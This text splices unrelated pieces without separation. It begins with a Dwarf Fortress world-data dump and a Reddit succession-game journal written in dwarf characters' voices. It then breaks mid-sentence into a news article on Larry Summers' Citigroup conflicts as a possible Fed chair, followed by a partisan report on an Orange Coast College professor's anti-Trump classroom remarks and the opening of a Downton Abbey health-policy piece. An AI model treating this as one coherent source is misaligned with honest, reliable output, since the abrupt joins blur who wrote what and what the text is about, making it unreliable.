85 humans 119: Musdadothan, "Beargrowls", a town Owner: The Sensual Fellowship, humans Parent Civ: The Rustic Empire, humans warlord: Luki Gleamunion, human 34 humans 120: Thrunonu, "Thimblerubbed", a town Owner: The Grooved Councils, humans Parent Civ: The Peaceful Confederation, humans warlord: Dolil Trenchhonors, human 94 humans 121: The¤iuthret, "Amusedwhipped", a town Owner: The Fellowship of Laces, humans Parent Civ: The Rustic Empire, humans warlord: Shanum Hugscrew, human 73 humans 122: Beksurbirod, "Skirtsstrength", a town Owner: The Band of Medicine, humans Parent Civ: The Realms of Peeking, humans warlord: Tunul Urgedesks, human 82 humans 123: Wuraru, "Stoodheads", a town Owner: The Coalition of Love, humans Parent Civ: The Realms of Peeking, humans warlord: Zin Hidesold, human 35 humans 124: Demaucim, "Touchnames", a town Owner: The Fellowship of Stars, humans Parent Civ: The Peaceful Confederation, humans warlord: Begu Clockdrilled, human 40 humans 125: Ulerkon, "Rarelined", a town Owner: The Band of Symmetries, humans Parent Civ: The Realms of Peeking, humans warlord: Sothro Shovedfocus, human 43 humans 126: Onocna, "Praisepresent", a town Owner: The Girdled Fellowship, humans Parent Civ: The Realms of Peeking, humans warlord: ¥ita Rhymeentered, human 23 humans 127: Pundik gen, "Jokedowls", a town Owner: The Spotted League, humans Parent Civ: The Rustic Empire, humans warlord: Irol Twinerubbed, human 82 humans 128: Rulacjal, "Savagefeet", a town Owner: The Society of Flutes, humans Parent Civ: The Rustic Empire, humans warlord: Kemus Renowndipped, human 37 humans 129: Piral¤esik, "Prestigecrew", a town Owner: The Fabulous Group, humans Parent Civ: The Peaceful Confederation, humans warlord: Adet Gangblossoms, human 102 humans 130: Peromkastrol, "Chamberrulers", a town Owner: The Armored Group, humans Parent Civ: The Realms of Peeking, humans warlord: Tequil Bristlecry, human 103 humans 2 elves 131: Omlisudem, "Howlhelp", a town Owner: The Taut Group, humans Parent Civ: The Peaceful Confederation, humans warlord: Ino Mindfulfeeds, human 82 humans 132: Nacuedi, "Groovedeggs", a town Owner: The Band of Obeisance, humans Parent Civ: The Rustic Empire, humans warlord: Icgil Rakedchewed, human 61 humans 133: Felquenir, "Holdseal", a town Owner: The Intense Councils, humans Parent Civ: The Realms of Peeking, humans warlord: Tin Yellssnuggles, human 39 humans 134: Wogesan, "Ancientlions", a town Owner: The Fellowship of Recreation, humans Parent Civ: The Rustic Empire, humans warlord: Osush Clutchsteppes, human 39 humans 1 dwarf 135: Lebamuk, "Plainseizure", a town Owner: The Band of Bells, humans Parent Civ: The Peaceful Confederation, humans warlord: Xim Chamberlashed, human 40 humans 136: Asorostfen, "Leafybalds", a town Owner: The Common Band, humans Parent Civ: The Rustic Empire, humans warlord: Ura Mobpicks, human 44 humans 137: Arstrukzangu, "Demonfortune", a dark fortress Owner: The Fellowship of Honey, humans Parent Civ: The Rustic Empire, humans administrator: Thec Wetmines, human 10 humans 2 dwarves 138: Golefensast, "Slippedscar", a town Owner: The Fellowship of Clouting, humans Parent Civ: The Rustic Empire, humans warlord: Ebir Plantedinks, human 45 humans 139: Hurooti, "Wadeshot", a town Owner: The Familial Coalition, humans Parent Civ: The Realms of Peeking, humans warlord: Beso Rhymebend, human 34 humans 1 elf 140: Eripika, "Magicknits", a town Owner: The Holy Society, humans Parent Civ: The Rustic Empire, humans warlord: Nadmi Aleslucky, human 26 humans 141: Uleakkar, "Openedflare", a town Owner: The Released Councils, humans Parent Civ: The Rustic Empire, humans warlord: Asseg Bulwarkdrinks, human 103 humans 142: Dipugxidel, "Clinchedpoints", a town Owner: The Group of Burning, humans Parent Civ: The Rustic Empire, humans warlord: Elku Groovedonkey, human 95 humans 143: Ithbiorma, "Whispermartyrs", a town Owner: The Thrifty Band, humans Parent Civ: The Rustic Empire, humans warlord: Owba Whisperedhums, human 46 humans 144: Asesamil, "Dangerwhirled", a town Owner: The Fellowship of Thrones, humans Parent Civ: The Realms of Peeking, humans warlord: Laka Gorgedscour, human 56 humans 145: Ejasgetak, "Flashutters", a town Owner: The Complex Coalition, humans Parent Civ: The Rustic Empire, humans warlord: Stren Siegedoctrine, human 33 humans 146: Owbatakru, "Pricejustice", a town Owner: The Band of Songs, humans Parent Civ: The Peaceful Confederation, humans warlord: Udir Clappedscoops, human 45 humans 147: Darmadkopka, "Grandcusps", a town Owner: The Group of Critters, humans Parent Civ: The Rustic Empire, humans warlord: Em Westhold, human 52 humans 148: Beguzicab, "Daterevere", a town Owner: The Unbridled Society, humans Parent Civ: The Rustic Empire, humans warlord: Bestra Clutchthundered, human 50 humans 149: Shebiad, "Shoveledhairs", a town Owner: The Councils of Release, humans Parent Civ: The Rustic Empire, humans warlord: Catet Beanmoral, human 44 humans 1 dwarf 150: Domdap, "Mostwads", a town Owner: The Plain Councils, humans Parent Civ: The Realms of Peeking, humans warlord: Pestrat Glimmeredscold, human 87 humans Outdoor Animal Populations (Including Undead) 64 mountain gnomes 73264 hoary marmots 93462 mountain goats 2672 gray gibbons 3300 white-handed gibbons 3700 siamangs 3386 mandrills 7429 cougars 3004 bilous 2934 orangutans 6186 jaguars 7141 elephants 6683 leopards 10235 gorillas 1474 tigers 4824 saltwater crocodiles 11064 alligators 5485 giant jaguars 5926 tigermen 4589 giant leopards 10326 slugmen 1733 giant tigers 6707 snailmen 54 silvery gibbons 28849 yetis 83499 giant eagles 18071 bonobos 7573 giant lions 6028 giant cheetahs 6879 cheetahs 12107 gazelles 34621 vultures 21526 warthogs 8470 lions 370 black-crested gibbons 7109 chimpanzees 93929 buzzards 23405 one-humped camels 19868 two-humped camels 5113 giant desert scorpions 8 leechmen 21 milkfish 26 tigerfish 21 hippos 626 carp 61649 sturgeons 58967 bluefish 67074 halibut 69494 longfin mako sharks 77515 blue sharks 80823 cod 63050 great white sharks 66485 conger eels 85504 marlins 3700 coelacanth 73364 frill sharks 69704 spiny dogfish 143896 bluefin tuna 39965 shortfin mako sharks 62758 opah 64920 angelsharks 2960 manta rays 56280 swordfish 2775 whitetip reef sharks 3700 giant groupers 85077 whales 92830 groundhogs 52510 wolves 136101 rhesus macaques 58307 horses 38683 elk 37631 muskoxen 4969 sasquatches 2011 black bears 13187 raccoons 10251 foxes 2315 grizzly bears 15799 deer 53 sea monsters 3135 sea serpents 72313 nurse sharks 87491 sea lampreys 10902 common skates 652 longnose gars 456 pike 224 grimelings 1171 harpies 320 beak dogs 6909 walruses 51770 spotted wobbegongs 12742 basking sharks 9418 hammerhead sharks 33765 merpeople 32985 ocean sunfish 545 ogres 2068 dark gnomes 2813 unicorns 557 werewolves 255 nightwings 3583 ice wolves 2383 blizzard men 2692 polar bears 10714848 pixies 900468 fairies 108620 fluffy wamblers 1669257 lungfish 3399221 turtles 3523440 toads 34270062 flies 2656213 monarch butterflies 3327333 large roaches 3423852 lizards 3314590 rats 2683460 moghoppers 30192325 acorn flies 3414655 dragonflies 4769007 two-legged rhino lizards 2501250 fireflies 157663 red-winged blackbirds 339 guppies 374 banded knifefish Unnumbered mussels 949527 shads 2644850 herrings 2360253 anchovies 1291371 hake 1431936 hagfish 1401510 sole 972943 spotted ratfish 1309031 brook lampreys 1156317 salmon 1064288 steelhead trout 48470 white-spotted puffers 864850 seahorses 49395 clownfish 1274023 bat rays 1354387 thornback rays Unnumbered oysters 1278295 cardinals 1735771 blue jays 1142795 hedgehogs 867812 grackles 192044 fox squirrels 91158 chipmunks 107146 gray squirrels 169873 red squirrels 2432 orioles 820312 flounders 1487345 mackerel 10185 sailfin mollies 8448 perch 6432 brown bullheads 6027 black bullheads 6933 rainbow trout 359 yellow bullheads 482 char 357856 blood gnats 28997 knuckle worms 33004 demon rats 189974 sea nettle jellyfish Unnumbered beetles Unnumbered worms Unnumbered ants Underground Animal Populations (Including Undead) 45093 gorlaks 45078 trolls 31041 giant cave spiders 12330 large rats 20840 gremlins 15877 giant cave swallows 203632 elk birds 24070 giant rats 161696 troglodytes 101421 naked mole dogs 121724 pond grabbers 30135 cave crocodiles 30143 giant toads 30131 giant olms 18965 giant moles 15160 giant bats 48702 dralthas 2238 blind cave bears 23994 drunians 29746 reachers 15735 maneras 61998 blind cave ogres 19206 jabberers 16397 voracious cave crawlers 148818 bugbats 562906 crundles 19191 molemarians 85731 rutherers 125106 plump helmet men 7165 floating guts 8074 cave floaters 6715 green devourers 50292 blood men 202097 creeping eyes 822 gabbro men 69178 hungry heads 63450 cave blobs 60177 flesh balls 203 amethyst men 16719 fire men 16710 magma men Unnumbered blind brutes Unnumbered serpent monsters Unnumbered skink demons Unnumbered bismuth devils Unnumbered shade ghosts Unnumbered chincilla devils Unnumbered dimetrodon demons Unnumbered deer fiends Unnumbered gray phantoms Unnumbered shade brutes Unnumbered fiends of flame Unnumbered brutes of flame Unnumbered black brutes Unnumbered serpent devils Unnumbered tick monsters Unnumbered giraffe devils Unnumbered flame monsters Unnumbered pterosaur devils Unnumbered boiling ghosts Unnumbered cinders ghosts Unnumbered eyeless demons Unnumbered boiling haunts Unnumbered slate gray demons 56406 bats 57989 cave swallows 61438 cave spiders 48436 olms 50158 cap hoppers 58890 cave lobsters 59185 cave fish 47655 purring maggots 28557 creepy crawlers 32131 fire snakes
edit] Various Maps
Biome+Site map
Drainage map
Elevations (No Water) map
Elevations (Water) map
Evil map
Rainfall map
Salinity map
Savagry map
Temperature map
Vegetation map
Volcanism map
edit] Fortress - Libashernam "Axemodest", Year 202 Embark
edit] Site
Embarking to a 2x2 location overlapping two Biomes:
Slexsmul Snulut - The Swamp of Stabilizing. A Tropical Freshwater Swamp Warm/Heavily Forested/Think vegetation/untamed wilds Stone Layers: Silt/Granite/Gabbro/Granite/Diorite/Diorite/Granite/Quartzite
Era Lulo - The Horn of Washing. A Mountain Hot, Bare, untamed wilds Stone Layers: Granite/Gabbro/Granite/Diorite/Diorite/Granite/Quartzite/Shist
From the Civilization: Lokum Ilir ("The Spears of Joy")
The Spears of Joy World information The Spears of Joy, Dwarves Worship List Kovest Silverywealthy, deity: wealth
Thash Garishchirps, deity: minerals, metals, crafts, labor
Adil Tinbronze the Granite Irons, deity: mountains
Katthir, deity: fortresses
En“r, deity: jewels, death king List Olin Armortrenches (b.??? d. 9, Reign Began: 1), *** Original Line, Married (d. 7) 5 Children -- Ages at death: 8 7 6 5 4 Worshipped Kovest Silverywealthy (55%)
Šrith Roughplaits (b.1 d. 14, Reign Began: 13), *** New Line, Married (d. 14) No Children Worshipped Katthir (49%)
—shrir Pagecleans (b.2 d. 159, Reign Began: 15), *** New Line, Married (d. 164) 9 Children (out-lived 5 of them) -- Ages at death: (d. 102) (d. 39) (d. 64) (d. 40) 118 (d. 103) 116 57 55 Worshipped Katthir (53%)
Momuz Riderpainted (b.102, Reign Began: 159), Inherited from mother, Married 2 Children -- Ages: 83 79 Worships Kovest Silverywealthy (48%) Main Mountain Fortress: Ulzestsigun, "Wrungtours", a mountain fortress Owner: The Craterous Boot, dwarves Parent Civ: The Spears of Joy, dwarves 39 dwarves
Using "Play Now" settings for extra fun.
The Fort: Libashernam ("Axemodest") is founded by the group Sigun Amud ("The Tour of Thunder"). Strike the earth!
edit] Roster
Each player has three days to complete their turn. If it isn't complete within that time then your turn will be skipped. You can use senduit to send the save (zipped) to the next player (through a reddit personal message).
Mason11987 - Journal - Complete Epsilon_Eridani - Journal - Complete Zebra2 - Journal - Complete TopRamen713 - Journal - Complete pytechd - Journal - Complete Enigma6 - Journal - Complete Armok - Journal - Complete supertoned - Journal - Has been sent Save Jevon - Journal nihilistyounglife- Journal Glayve - Journal JamesOFarrell - Journal artz - Journal ArcticEngineer - Journal Eduren - Journal omglazers - Journal
Passed - Can rejoin after the current player if requested.
DrRandom - Passed (save problems) grjemo - Passed (out of town) Kristofenpheiffer - Passed (crashing problems)
edit] Settings
Must be applied by player at the beginning of their turn:
Population Cap - 80
Temperature: Player's choice
Weather: Player's choice
Economy: OFF
Invaders: ON
Cave-ins: ON
Set in raw, just for your information:
Exotic Animals: OFF - This means a dungeon master isn't required to train/tame animals like lions/giant eagles/etc.
edit] Year 1 (202)
edit] 1st Granite, 202, Early Spring
Amost Kollesast: Hi, you can call me Amost, I'm the Expedition Leader for Libashernam. This is the journal of the events in the lives of the inhabitants of this mountain fortress. Each journal entry will be presented by a particular dwarf, or by myself for information related to the fortress as a whole. To begin, here are my companions!
Amost (Expedition Leader/Narrator) - The Mason/Detailer/Mechanic - 84yo Female
Alath - The Miner - 63yo Female
Atir - The Carpenter - 58yo Male
Deduk - The Crafter/Jeweler - 82yo Male
Olin - The Fisherman - 64yo Female
Tobul - The Butcher/Handyman - 86yo Female
Ilral - The Dr/Farmer/Lumberjack - 56yo Male
Amost: Today we set up our fishing location for Olin in a nearby pond and marked off some area to be dug out by Alath. We also marked an area of trees to be cut by Ilral. The rest of us started collecting any and all plants we could gather as soon as possible. I assigned Ilral to be our Chief Medical Dwarf as well.
Atir: Along with gathering plants I started construction on a Carpenter’s shop to make us all some beds.
Alath: Here is Amost’s digging plan, I’ll describe it for you:
A: This is our main hallway we could line with traps and guard dogs later.
B: This is where we could house our military in the future.
C: There is a ramp down here to a lower level, currently only connecting to D.
D: A ramp up from the lower level
E: These will be our farms. and above them a small stockpile for seeds and a walkway.
edit] 2nd Granite, 202, Early Spring
Atir: I’ve struck Silver! On the first day striking the earth too! Praise to Armok!
edit] 10th Granite, 202, Early Spring
Olin: Oh my Armok! A giant Eagle!
edit] 14th Granite, 202, Early Spring
Deduk: Today I was taken off of collection duty and started creating rock crafts. The first trade good of Libashernam. My first creation is a testament to the greatness that will follow here.
Alath: What a cute cat! I’ll name her Eral and she will hunt vermin for us!
edit] 24th Granite, 202, Early Spring
Amost: I completed our groups 7 beds. In the future grand bedrooms will be constructed for these 7 dwarves, but today they sleep in the barracks, piled in together.
edit] 7th Slate, 202, Mid-Spring
Atir: I’ve begun construction on 4 doors which will hold water in our farms during their irrigation.
edit] 9th Slate, 202, Mid-Spring
Iral: I’ve begun brewing all our plump helmets in anticipation of our planting the spawn in our fields.
Amost: And I’m working on a bunch of barrels to store the wine.
edit] 17th Slate, 202, Mid-Spring
Alath: After a month and a half of mining I’d now consider myself quite Talented at the skill. This is what I have created. As you can see some of the other dwarves are quite lazy.
edit] 20th Slate, 202, Mid-Spring
Alath: Another cat? SURE! I’ll name her Edem.
edit] 25th Slate, 202, Mid-Spring
Alath: And with this strike we flood our farms and begin producing our own food!
Alath hits the earth, and a torrent of water floods out.
Alath: RUN!
edit] 13th Felsite, 202, Late Spring
Amost: This giant Eagle has been annoying us for far too long. We’ve decided to attempt to capture this bird, through a cross wall cage, Tobul is saying this will work, the rest of us are skeptical.
Tobul: It will work, Amost doesn’t know about animals like I do.
edit] 3rd Hematite, 202, Early Summer
Ilral: Finally, I’m able to begin farming, some delicious plump helmets!
edit] 11th Hematite, 202, Early Summer
Tobul: The trap is set, now we just wait, it’ll work…
edit] 24th Hematite, 202, Early Summer
Amost: Some brave souls have decided they would join us in our new outpost. The six of them have been lead here by Cilob Anametur. This is some information about each of them:
Cilob - The crossbow maker and Adequete Armorsmith - 69yo Male
Lor Dodokvod - The Butcher - 54yo Male
Lor Likotshoveth (We’ll call him “Likot”) - The Herbalist - 76yo Female
Sazir - The child - 8mo Female
Shorast - The child - 3yo Male
Tobul Fikoddolek (We’ll call him “Fikod”) - The general food worker - 83yo Male
Likot and Cilob are the Mother and Father of Sazir and Shorast.
edit] 3rd Malachite, 202, Mid-Summer
Cilob: We’ve just joined Amost and his friends here at Libashernam. We see great things for our future, I hope to create a better life for my family here, but things will be difficult starting out. I’ve been enlisted to join in the mining operations with Alath, I’ll do my best to stay out of his way.
edit] 9th Malachite, 202, Mid-Summer
Amost: I’ve just finished designating some workshop areas when Olin ran into the barracks.
Olin: Giant Jaguar!
Amost: We’ve put cage traps in our entrance way in hopes of protecting our children.
edit] 15th Malachite, 202, Mid-Summer
Amost: We’ve placed some new bed for our new members, the barracks is becoming quite crowded now.
edit] 10th Galena, 202, Late Summer
Tobul: I’ve yet to catch anything with my cage trap design, so Amost has assigned me to be a crafter in our new craftdwarfs work area as a punishment…
edit] 18th Limestone, 202, Early Autumn
Amost: We’ve finished moving everything inside. We are officially at the beginning of our journey into the earth, with a single line of cage traps protecting us from the outdoors. We’re surveying a good location inside our fort for our trade depot because we expect a caravan from the mountainhome later this season.
edit] 5th Sandstone, 202, Mid-Autumn
Amost: Seven more immigrants! And quite a few skilled ones at that. They have been led here by Litast Ritholmonom. Here is some information about each of them:
Adil - The High Master Brewer - 56yo Male
Avuz - The Cheesemaker - 66yo Male
Dastot - The Peasant - 63yo Male
Erith - The Smith - 62yo Female
Goden - The Miner and Gemcutter - 60yo Male
Litast - The Expert Mason/Engraver and Architect - 78yo Male
Tun - The Peasant - 64yo Male
edit] 8th Sandstone, 202, Mid-Autumn
Tobul: I CAUGHT IT! I caught the eagle! YES!
Amost: Fine… you can be our animal trainer. Amost: Tun! You are now a crafter.
edit] 24th Sandstone, 202, Mid-Autumn
Amost: Deduk has been possessed! He’ll probably go to the craftdwarfs workshop. Let’s hope we have the supplies he needs!
Amost: He’s claimed a workshop… and begun a mysterious construction!
edit] 26th Sandstone, 202, Mid-Autumn
Tobul: I’ve tamed our giant eagle* and roped him up around the corner of our entrance. Later we can make him a war or hunting eagle to help our soldiers.
*Due to bugs in the Dungeon Master, the save's raws have been changed so no animals requires a dungeon master to be trained.
edit] 1st Timber, 202, Late Autumn
Deduk: So it seems I produced our first artifact: Atolasdug, “Finddrummed”, a gabbro crown while possessed. It has a value of 4800, and here is it’s description:
edit] 3rd Timber, 202, Late Autumn
Amost: Too many of our dwarves are sitting around doing nothing so I’ve assigned Dastot to be the record keeper. He’ll count up our stones so they can all be dumped near our craftdwarves workshop.
edit] 14th Timber, 202, Late Autumn
Amost: A caravan from Lokum Ilir has arrived with The Hammerdwarf Muthkat Govosonol. I’ve assigned Avuz to be our Broker going forward.
Muthkat: Greetings Amost, what supplies would Libashernam like to receive?
Amost: Hi Muthkat, we’d like to request some Wood, otherwise just send whatever you like. Thanks!
Muthkat: Great, in return we are paying high prices for toys, handwear and amulets in particular.
edit] 17th Timber, 202, Late Autumn
Muthkat: It appears one of our speardwarves has slaughtered a Giant Eagle over your brook, I hope his blood and vomit doesn’t spoil your water. Sorry
edit] 18th Timber, 202, Late Autumn
Avuz: Okay, let’s see what we can trade today. We have a large pile of crafts which you guys seem to love, about 6440 worth. What can we get for that?
Merchant Eshtan: How about some food, drink, seeds, and a few different animals?
Avuz: How about that Bronze Battle Axe, Iron Breastplate, and Steel Shield?
Eshtan: Deal!
edit] 15th Moonstone, 202, Early Winter
Deduk: I’ve created our first masterpiece! A masterful orthoclase amulet!
edit] 28th Moonstone, 202, Early Winter
Tobul: We’ve spotted another Giant Eagle outside near my trap. Another female though, but it would still be useful for breeding once we catch a male.
edit] 5th Opal, 202, Mid-Winter
Amost: We’ve expanded our defenses to three layers of cage traps, this should help for any possible attacks by wild animals.
edit] 21st Opal, 202, Mid-Winter
Amost: I’ve designated an area for our bedrooms. They have 2 thick borders so that when rooms are designated with walls, the rooms don’t overlap. We’ve started constructing some beds, doors, cabinets, and coffers as well though the rooms probably won't be furnished this year.
edit] 8th Obsidian, 202, Late Winter
Ilral: We’ve built a kitchen and started creating some lavish meals, mostly to empty some barrels.
edit] 1st Granite, 203, Early Spring
Amost: So begins 203, the second year of Libashernam. We have a few workshop areas set up, a few good production farms and we’re working on our bedrooms as well.
Avuz: Part of my duties as broker is to produce an end-of-year report. Which is shown here.
edit] Year 2 (203)
edit] 1st Granite
I have become leader of this place. I'm not sure how, it's not like we have elections. 19 other dwarves inhabit this hole in the mountain that we call home. My first act as leader I've changed craft production to stone mugs.
We've been climbing over stockpiles at the entrance of the fort too long. As my second act I've called for their removal.
edit] 7th of Granite
Since our past leader decided to build an incredibly lavish battery of bedrooms, I've continued on that theme and ordered them smoothed.
edit] 18th of Granite
Our record keeper has no proper office, so I've issued the dig orders to construct a few offices. We're also in dire need of a manager. I've made myself our fortress manager, not wanting to trust anyone else with such an important role.
edit] 9th of Slate
Progress on the bedrooms continues slowly. Smoothing these walls on both sides is slowing down work. I've decided to start exploring the mountain further. What we lack is a metal industry. A fortress is not a fortress without the flaming roar of a forge and the sounds of a smith's hammer.
edit] 12th of Slate
By Thash! We've discovered a massive underground cavern.
Alath spotted a Giant Olm. I've ordered the cavern sealed for now, who knows what else might lie in wait.
edit] 13th of Slate
The production of mugs is in full force. Deduk Domaslikot has produced the first masterpiece and many more are sure to follow. Mugs are the consumable foundation of dwarven economy, anyone who has dined with us would know they don't survive many meals.
edit] 14th of Slate
With the offices in place, I can finally managed orders from a desk instead of barking them at each individual workshop. This is such an amazing time saver that I'm thinking of projects to start finally.
edit] 17th of Slate
All bedroom furniture hauling is done. Progress on the rough hewn walls is disappointing but as our engraver, Litast, becomes more skilled it will speed up.
edit] 20th of Slate
I've designated some exploratory mining areas in hopes that Alath and Atir find us a rich vein of valuable metals. Platinum or aluminium would be best, followed by gold. I have dreams of drinking a fine dwarven ale from a platinum mug.
edit] 23rd of Slate
Migrants have arrived! The fortress population has exactly doubled in a single wave. I now have 39 minions to command.
File:Mareathira Liceva 203-Slate-23.png
edit] 5th of Felsite
We've struck a vein of gold! This is where Armok smiles upon the fortress. I've ordered much of it excavated immediately.
edit] 15th of Felsite
The elves, barely tolerable creatures, have arrived to trade. I've sent them off with a bundle full of our plentiful stone mugs in exchange for some variety in the flow of booze. They traded us a stash of wood logs, a most hypocritical action from the elves.
edit] 4th of Hematite
Extraction of the gold veins progresses. There seems to be an abundant supply. Some of the less skill miners have ruined some of it but it is still enough to begin smelting into bars.
edit] 12th of Hematite
I've ordered construction of the a bridge to act as a gate for the fortress entrance. As the hoard grows, we may need to deal with more than just simple thieves and I don't want to put my life in the hands of a few wooden traps and one eagle who was dumb enough to get caught by them.
edit] 18th of Hematite
A second floor of bedrooms has been designed, the fortress' growing population crowded into a few extra beds in the main hallway and the first floor. I've continued with the opulent design set forth before my time as ruler. If we find enough gold, I might start plating the floors with it.
edit] 22nd of Hematite
Alath is now a legendary miner and has been tasked (along with the other less experience mienrs) with carving a new workshop area for the budding metal industry.
edit] 10th of Malachite
We've begun burning wood for charcoal but if smelting is to continue unabated we will need to locate another source of fuel.
edit] 19th of Malachite
A band of snailmen have made an attempt to enter the fortress. Cage traps worked well, we have now caged several of the slimy hideous beasts.
edit] 22nd of Malachite
The first gold bars have been smelted and stored.
edit] 3rd of Galena
Just three lone dwarves have joined the fortress. Tales of our growing fortress have only found but a few ears it seems.
edit] 8th of Galena
We've dug deep enough to hit magma! This is the answer to our lack of fuel.
The discovery has also hinted at the presence of adamantine in the depths.
The king shall hear of our fortune. The blue metal is the stuff of legends. Praise Armok!
edit] 9th of Galena
Meng, one of our newer miners, has been possessed by unknown forces! He quickly claimed a Mason's Workshop. He's been muttering things about needing rocks, thread, and skins ever since. With luck, we may be able to trade for the threads to satiate his madness.
edit] 18th of Galena
A human caravan has arrived to trade. Meng may be in good fortune with the gods of the mountain as yet.
edit] 25th of Galena
Before the humans left, negotiations were made to aquire a set of bronze weapons in exchange for our finely crafted stone mugs. A military does not yet seem necessary but its time will come.
edit] 27th of Galena
A goblin thief attempted to enter the fortress but once again cage traps have protected the hoard.
edit] 28th of Galena
A second, this time kobold, thief tried where the first had failed but was once again thwarted.
edit] 1st of Limestone
Already, it is autumn. My rein feels like it is just getting started. I've ordered plans set in motion to build a smelter and quarters near the magma deeps. It will be a simple life for whoever I sentence to a lifetime of smelting, but a rewarding one as they contribute to our cause. The human caravan did not carry the thread Meng demands and I fear he may soon go insane.
edit] 23rd of Limestone
Tales of our successes must have reached home by word of the humans. Another wave of immigrants have arrived bringing the population to 55 strong dwarves.
A lever has been installed at now controls the bridge at the entryway. Sealing us in should the above ground become less than favorable.
edit] 7th of Sandstone
As I feared, Meng has gone insane. His melancholy mood and behaviour will eventually kill him and there is nothing that we can do but watch. I've ordered the production of coffins.
edit] 9th of Sandstone
The magma forge and smelter have begun to output gold and other metals. The first forged item is a golden cage.
edit] 26th of Sandstone
As tribute to my successes with the metal industry, I have ordered the creation of four gold statues.
edit] 12th of Timber
A caravan from the mountainhome has arrived.
edit] 16th of Timber
The value of the fortress grows every day! We're making gold goblets, barrels, cages, statues and I've ordered furniture studded with cut gem stones.
The fortress is now valued at 102,285
edit] 22nd of Timber
Kobold filth was once again turned away by traps. Something will need to be done about the growing prisoner of war population.
Meng Shorastkokeb is the first of the fortress to die. His mining abilities were neither legendary or essential but he will be missed. We have put him to rest in a kimberlite coffin.
edit] 25th of Timber
Trading with the mountainhome dwarves has been concluded. We sent them off with a gold statue of dwarves, as a message of our waxing prosperity. Along with the usual wagons full of stone mugs. Winter is just around the corner.
edit] |
move that could be politically controversial—the former Treasury secretary will have to recuse himself from a slew of Fed decisions involving Citi, which is the third-largest bank in America. Experts say those recusals could hamper Summers’ ability to run the Fed effectively.
“Citigroup is a behemoth on Wall Street, and constantly subject to Fed regulatory actions,” says Craig Holman, the architect of Obama’s 2009 ethics rules and currently a government affairs lobbyist for the consumer watchdog Public Citizen. “I would expect Summers would have to recuse himself quite frequently.” He adds, “Recusal can be expected to be so frequent as to hinder Summers’ ability to carry out his job as Fed chairman.”
The Obama administration has granted dozens of ethics rules waivers since 2009, but they have mostly gone to lower-level appointees with limited conflicts of interest. Were Summers to be granted a waiver, according to Holman, it would be the most significant one yet.
If appointed, Summers might have to remove himself from consultations on penalties levied against Citi for things like sketchy foreclosure practices and inadequate anti-money-laundering protections. Nor would he be able to vote on post-financial crisis rules that Congress ordered the Fed to draft, including restrictions on CEO pay and guidelines for how much emergency capital Citi has to keep on its books. (The Fed board votes on all regulations, mergers, and applications to form new banks; it has voted 20 times so far in 2013. Penalty decisions are often delegated to staff or regional reserve banks, but the board consults on them.)
Neither the White House nor a spokesman for Summers would comment for this story.
Summers’ potential conflict of interest wouldn’t incapacitate the Fed. The six other governors on the Federal Reserve board would still be able to vote to approve regulations. And Obama’s ethics rules wouldn’t block Summers, who is a former director of Obama’s National Economic Council, from having a say on broader regulations mandated by the 2010 Dodd-Frank financial reform law that affect the biggest banks, including Citi. This would include the Volcker rule, which is supposed to limit high-risk trading by commercial banks.
But it’s difficult to see how working “on a rule that affects only Citi and its largest competitors” wouldn’t constitute a potential conflict of interest for Summers, says Marcus Stanley, policy director at the advocacy group Americans for Financial Reform. Michael Greenberger, an expert on financial markets and professor at the University of Maryland school of law, agrees: “Whatever he does for everybody, he does for Citigroup.”
“Even if there’s not a formal conflict,” Greenberger adds, “there is an appearance of conflict.”
Citi isn’t the only Wall Street entity that has hired Summers. He also has done consulting work for a number of smaller financial firms, including the hedge fund D.E. Shaw and the venture capital firm Andreessen Horowitz. If he gets the job, he’d have to step aside if they have business before the Fed. (Summer has also made money giving speeches at top financial firms, including JPMorgan Chase, Merrill Lynch, and Goldman Sachs, but speechifying is not considered employment under Obama’s ethics rules.)
Yellen, the other main contender for Fed chair and the underdog in this race, has no Wall Street hang-ups. She has spent the past 20 years at the Fed.
Holman says Summers’ potential conflicts of interest should trouble the White House. “You’d expect that if he represents a behemoth and has to recuse himself so frequently, that should be a factor in considering not appointing him.” But Sanford Weill, the architect of the merger that created Citigroup and its chairman until 2006, is not worried. On Tuesday, he noted that that he has “unbelievable confidence” in Summers’ ability to do the job.By Kody Fairfield
The classroom is supposed to be a place to express different ideas and hold honest debate. It is meant to help develop critical thinking and remove fallacy and bias from reasonable arguments. Unfortunately, someone forgot to tell a professor at Orange Coast College (OCC) in Costa Mesa, California.
Olga Perez Stable Cox, a professor of human sexuality, went off on a tirade about the election of Donald Trump, telling her class, “Our nation is divided. We have been assaulted. It is an act of terrorism.”
Cox added, “One of the most frightening things for me, and most people in my life, is that the people who are committing the assault are among us.”
“A white supremacist and a vice president that is one of the most anti-gay humans in this country,” she added about Vice-President-elect Mike Pence.
As Cox continued on, one of her students became so frustrated with the ordeal that he or she began to record the rant on video.
The video has been picked up by the President of the Orange Coast College Republicans Josh Recalde-Martinez, who alongside the lawyer for the group, Shawn Steel, held an interview with local news station CBS2.
“At this point it’s not even education anymore, its indoctrination,” said Recalde-Martinez in the interview.
According to CBS2 News, the student who recorded the rant and has remained unnamed is hiding in fear of punishment from the teachers union and the school itself.
Thursday night, the professor’s union posted a warning on its page. It condemned the student who recorded the video saying, “This is an illegal recording without the permission of the instructor. The student will be identified and may be facing legal action.”
The student who shot the video is afraid he or she may be suspended or expelled with only a week left in the semester, said Steel, the lawyer who volunteered to represent the OCC Republicans and a sitting Republican National Committeeman from California.
“Every student knows it. If you stand up to your professor, 90 percent of the time the professor’s going to punish you,” Steel added.
CBS2 also reported that the the OCC Republicans have filed a formal complaint over the rant, and others have taken to a popular teacher rating website RateMyProfessor to voice their opinions.
“I felt censored and bullied if I did not agree with her opinions,” the student wrote. Political opinions she shared in-depth with the class. “We are way beyond Republicans and Democrats, and we’re really back to being in a civil war,” they said, “and I don’t mean it in a fighting way, but our nation is divided as clearly as it was in civil war times.”
For reaction to the situation, CBS2 also spoke to the president of the college, who chose not to go on camera because the incident is still under investigation. He did tell her the college encourages a discourse on current events between students and faculty when it’s in context.
CBS2 reached out to the teacher and her union for a comment but did not hear back from either one.
According to Recalde-Martinez’s FaceBook, the story looks to be covered on Fox News by host Megyn Kelly tonight at 6 PM PST.This season, "Downton Abbey" has a new plot line that has health wonks on the edge of their seats: a heated debate about hospital consolidation that closely parallels what's going on in the U.S. health care system today.
If you're not a "Downton" fan (and even if you are), here's a quick plot recap.
